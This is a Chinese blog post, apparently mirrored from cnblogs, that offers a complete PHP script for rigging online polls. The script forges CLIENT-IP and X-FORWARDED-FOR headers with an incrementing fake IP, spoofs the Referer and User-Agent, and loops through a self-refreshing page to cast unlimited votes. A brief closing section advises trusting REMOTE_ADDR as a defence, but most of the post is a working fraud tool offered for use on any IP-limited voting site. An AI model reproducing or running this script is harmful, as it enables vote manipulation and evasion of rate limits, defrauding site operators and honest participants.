zoukankan      html  css  js  c++  java
  • 年关了,抛一个模拟ip刷票的php程序

     1 <?php
     2 $ip = $_GET['ip'] ? $_GET['ip'] : '1.1.1.1';
     3 $ipArr = explode(".", $ip);
     4 $ipArr[3] = $ipArr[3] + 1;
     5 if ( $ipArr[3] > 254 )
     6 {
     7     $ipArr[3] = 1;
     8     $ipArr[2] = $ipArr[2] + 1;
     9 }
    10 if ( $ipArr[2] > 254 )
    11 {
    12     $ipArr[2] = 1;
    13     $ipArr[1] = $ipArr[1] + 1;
    14 }
    15 if ( $ipArr[1] > 254 )
    16 {
    17     $ipArr[1] = 1;
    18     $ipArr[0] = $ipArr[0] + 1;
    19 }
    20 if ( $ipArr[0] > 254 )
    21 {
    22     exit();
    23 }
    24 $ip = implode(".", $ipArr);
    25 // 此处设置投票的id
    26 $post_data = 'vid=8';
    27 
    28 // 投票的地址
    29 $url = 'http://www.xxx.com/api.php?m=vote&a=voteto';
    30 $user_agent = "Mozilla/4.0";
    31 
    32 $headers['CLIENT-IP'] = $ip;
    33 $headers['X-FORWARDED-FOR'] = $ip;
    34 
    35 $headerArr = array();
    36 foreach ( $headers as $n => $v )
    37 {
    38     $headerArr[] = $n . ':' . $v;
    39 }
    40 
    41 $ch = curl_init();
    42 curl_setopt($ch, CURLOPT_POST, 1);
    43 curl_setopt($ch, CURLOPT_URL, $url);
    44 
    45 curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArr); // 构造IP
    46 curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com/ "); // 构造来路
    47 curl_setopt($ch, CURLOPT_HEADER, 1);
    48 
    49 curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    50 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    51 
    52 ob_start();
    53 curl_exec($ch);
    54 $result = ob_get_contents();
    55 ob_end_clean();
    56 
    57 echo $result;
    58 echo '<meta http-equiv="refresh" content="1;url=http://localhost/phpk/post.php?ip=' . $ip . '"> ';
    59 ?>

    使用范围:所有限制ip地址的投票网站。投票数可到254*254*254*254。

    如何防范该类刷票行为:

    在获取客户端ip的时候优先使用:

    $ip = getenv('REMOTE_ADDR');

    用remote_addr可以有效控制模拟ip投票,除非使用代理才能绕过去,但是用web实现代理,速度就很慢了。

  • 相关阅读:
    php 日期处理 DateTime
    http范围请求
    fiddle扩展
    汉字编码 (GB2312 GBK GB18030)
    Navicat http 通道增加验证
    vim 支持 nginx配置文件 语法高亮
    composer 使用
    剖析nsq消息队列(三) 消息传输的可靠性和持久化[一]
    剖析nsq消息队列(二) 去中心化源码解析
    剖析nsq消息队列(一) 简介及去中心化实现原理
  • 原文地址:https://www.cnblogs.com/xpbb/p/3520190.html
Copyright © 2011-2022 走看看